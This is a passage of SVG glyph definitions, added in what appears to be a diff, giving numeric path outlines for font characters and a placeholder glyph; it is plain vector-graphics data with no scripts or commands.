5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-16"> +<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-17"> +<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-18"> +<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-19"> +<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph0-20"> +<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-21"> +<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph0-22"> +<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-23"> +<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-0"> +<path style="stroke:none;" d="M 0.734375 -10.265625 L 10.265625 -10.265625 L 10.265625 0 L 0.734375 0 Z M 8.359375 -9.09375 L 5.5 -5.90625 L 2.640625 -9.09375 L 1.90625 -8.359375 L 4.796875 -5.140625 L 1.90625 -1.90625 L 2.640625 -1.171875 L 5.5 -4.359375 L 8.359375 -1.171875 L 9.09375 -1.90625 L 6.1875 -5.140625 L 9.09375 -8.359375 Z M 1.890625 -0.390625 L 2.015625 -0.390625 L 2.015625 -0.578125 L 2.0625 -0.578125 C 2.125 -0.578125 2.175781 -0.585938 2.21875 -0.609375 C 2.269531 -0.628906 2.296875 -0.675781 2.296875 -0.75 C 2.296875 -0.820312 2.269531 -0.867188 2.21875 -0.890625 C 2.164062 -0.910156 2.109375 -0.921875 2.046875 -0.921875 L 1.890625 -0.921875 Z M 2.0625 -0.84375 C 2.144531 -0.84375 2.1875 -0.816406 2.1875 -0.765625 C 2.1875 -0.710938 2.171875 -0.679688 2.140625 -0.671875 C 2.117188 -0.671875 2.085938 -0.671875 2.046875 -0.671875 L 2.015625 -0.671875 L 2.015625 -0.84375 Z M 2.765625 -0.921875 L 2.3125 -0.921875 L 2.3125 -0.84375 L 2.5 -0.84375 L 2.5 -0.390625 L 2.59375 -0.390625 L 2.59375 -0.84375 L 2.765625 -0.84375 Z M 3.25 -0.546875 C 3.25 -0.503906 3.21875 -0.484375 3.15625 -0.484375 C 3.082031 -0.484375 3.035156 -0.492188 3.015625 -0.515625 L 2.984375 -0.40625 C 2.992188 -0.40625 3.015625 -0.398438 3.046875 -0.390625 C 3.078125 -0.378906 3.117188 -0.375 3.171875 -0.375 C 3.304688 -0.375 3.375 -0.4375 3.375 -0.5625 C 3.375 -0.644531 3.328125 -0.691406 3.234375 -0.703125 C 3.148438 -0.710938 3.109375 -0.742188 3.109375 -0.796875 C 3.109375 -0.828125 3.140625 -0.84375 3.203125 -0.84375 C 3.242188 -0.84375 3.285156 -0.832031 3.328125 -0.8125 L 3.359375 -0.90625 C 3.296875 -0.925781 3.242188 -0.9375 3.203125 -0.9375 C 3.066406 -0.9375 3 -0.882812 3 -0.78125 C 3 -0.726562 3.007812 -0.691406 3.03125 -0.671875 C 3.0625 -0.648438 3.09375 -0.628906 3.125 -0.609375 C 3.15625 -0.597656 3.179688 -0.585938 3.203125 -0.578125 C 3.234375 -0.578125 3.25 -0.566406 3.25 -0.546875 Z M 3.484375 -0.6875 C 3.515625 -0.707031 3.554688 -0.71875 3.609375 -0.71875 C 3.660156 -0.71875 3.6875 -0.695312 3.6875 -0.65625 L 3.6875 -0.625 C 3.675781 -0.625 3.664062 -0.625 3.65625 -0.625 C 3.644531 -0.632812 3.628906 -0.640625 3.609375 -0.640625 C 3.492188 -0.640625 3.4375 -0.59375 3.4375 -0.5 C 3.4375 -0.414062 3.472656 -0.375 3.546875 -0.375 C 3.609375 -0.375 3.65625 -0.398438 3.6875 -0.453125 L 3.71875 -0.390625 L 3.796875 -0.390625 C 3.785156 -0.410156 3.78125 -0.445312 3.78125 -0.5 L 3.78125 -0.65625 C 3.78125 -0.757812 3.734375 -0.8125 3.640625 -0.8125 C 3.597656 -0.8125 3.5625 -0.804688 3.53125 -0.796875 C 3.5 -0.785156 3.472656 -0.773438 3.453125 -0.765625 Z M 3.59375 -0.46875 C 3.550781 -0.46875 3.53125 -0.488281 3.53125 -0.53125 C 3.53125 -0.570312 3.554688 -0.59375 3.609375 -0.59375 C 3.628906 -0.59375 3.644531 -0.585938 3.65625 -0.578125 C 3.664062 -0.578125 3.675781 -0.578125 3.6875 -0.578125 L 3.6875 -0.53125 C 3.664062 -0.488281 3.632812 -0.46875 3.59375 -0.46875 Z M 4.28125 -0.390625 L 4.28125 -0.625 C 4.28125 -0.75 4.238281 -0.8125 4.15625 -0.8125 C 4.082031 -0.8125 4.03125 -0.785156 4 -0.734375 L 3.96875 -0.796875 L 3.90625 -0.796875 L 